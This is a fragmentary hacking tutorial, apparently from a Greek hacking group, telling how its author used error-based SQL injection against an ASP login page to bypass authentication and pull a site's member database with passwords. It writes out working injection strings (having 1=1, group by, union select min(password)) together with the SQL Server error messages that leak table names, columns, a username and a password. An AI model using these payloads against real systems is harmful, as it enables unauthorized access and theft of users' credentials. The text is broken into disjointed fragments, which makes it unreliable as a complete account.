Error based SQL Injection – a true story
By AnalyseR – GHS – Greek Hacking Scene
alienyser@gmail
...
This is about error based sql injection
...
In this example i will use the process i used a couple
of months ago to bypass a login prompt and get the whole member's (with passwords) database
...
So, here is our scenario
...
asp”
...
Allright, brute forcing is n00b, so we'll try SQL
Injection
...
I suppose you have some basic knowledge
...
Like this one: ' having 1=1 --
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'login
...
/Administrator/login
...
and
after a while
...
We got our first error
...
As you can see, the first error we have here reveals
our first foothold ;) login
...
A table name (login) and a column
name (primarykey)
...
Hmmm it'll
look just like this: ' group by login
...
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'login
...
/Administrator/login
...
it's called
“username”
...
primarykey, username having 1=1 --
...
Once again, we continue that way until a NORMAL looking page appears
...
COLUMN1, COLUMN2, COLUMN3 having 1=1 -It's pretty easy i think
...
So the
next step is to get a username and a password
...
Let's talk about it
...
But if you DON'T know any, you'll do probably what i did
...
This could
be “admin” or something (it's not, in this example but the user has admin rights)
...
So after you fire up this injection
you must have one more error back as a result
...
And yes you'll get something like that ;)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'ab***ilr' to a column of data type int
...
asp, line 27
Here it is! A username!!! (Covered with asterisks of course)
Now
...
'union select min(password),1,1,1,1 from login where username = 'ab***ilr'-Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'ar***all' to a column of data type int
...
asp, line 27
Here is the password you are looking for ;)
Enjoy, have fun and don't be stupid and distractive
